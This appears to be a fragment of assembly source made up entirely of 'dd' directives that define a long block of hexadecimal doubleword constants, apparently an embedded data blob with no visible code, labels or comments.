dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh, 0E003D1F1h
dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h, 0EE5BCC0Ch
dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
dd 15D01747h, 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h
dd 0D27E6AE9h, 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h
dd 65405B59h, 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh
dd 0F4E4B304h
dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
dd 2E4051E2h, 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h
dd 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh
dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh
dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h
dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch
dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
dd 9E6C4027h, 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h
dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h
dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh
dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
dd 386412h, 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h
dd 38EC74C4h, 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h
dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh
dd 4400040Fh, 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h
dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh
dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h
dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h
dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh
dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h
dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
dd 48C800C3h, 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h
dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h
dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh
dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h
dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
dd 7F1D018h, 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh
dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h
dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h
dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh
dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
dd 6D40703Eh, 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h
dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh
dd 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh, 43610708h
dd 0E08DF1E0h, 91AA683Fh, 79015C79h, 5108C1B7h, 0BDF46A7Bh
dd 6F183ACCh, 389D8680h, 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h
dd 4F76436Fh, 7D26E871h
dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h
dd 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h
dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h
dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h
dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h
dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h
dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh
dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h
dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h
dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h, 0F2570089h
dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h
dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
dd 7536EDE0h, 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h
dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h
dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h
dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch
dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh
dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh, 9223BFh
dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh
dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
dd 0B70F70h, 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h
dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h
dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
dd 6FE60B27h, 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh
dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h
dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h
dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh
dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh
dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h
dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
dd 8B1C09CCh, 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh
dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h
dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h
dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh
dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h
dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh
dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h
dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h
dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h
dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h
dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch
dd 204099B2h, 904210Ah, 5F531D0Eh, 0A20FC0C8h, 36E0882Ch
dd 5B013B18h, 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh
dd 3E0EACD8h, 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h
dd 0BAD91Fh
dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h
dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
dd 6738B82h, 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h
dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h
dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h
dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh
dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h
dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h
dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h, 0CFF9BAB0h
dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch, 3A144143h
dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
dd 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh
dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h
dd 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh
dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh
dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
dd 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h
dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h
dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh
dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h
dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
dd 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h
dd 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h
dd 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h, 0F1ACBCB4h
dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
dd 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h
dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
dd 9636641h, 1D4B9085h, 9DBFFB83h, 948F00ACh, 0FA71EA55h
dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h
dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h
dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h
dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh
dd 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh
dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
dd 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h, 1CEEAA41h
dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h, 8E431330h
dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah, 8C8F878h
dd 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h, 440099A0h
dd 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h, 80CD4A5h
dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h, 810FF9EEh
dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah, 3AC07788h
dd 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h, 14D010F0h
dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h, 0B78E13B9h
dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h, 89D1673Dh
dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
dd 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h, 28853AF3h
dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
dd 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh, 1E15587Dh
dd 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h, 805973BFh
dd 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh, 23725C21h
dd 9A0AFF0Eh, 0EB50DA40h
dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
dd 0E2EACBFh, 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h
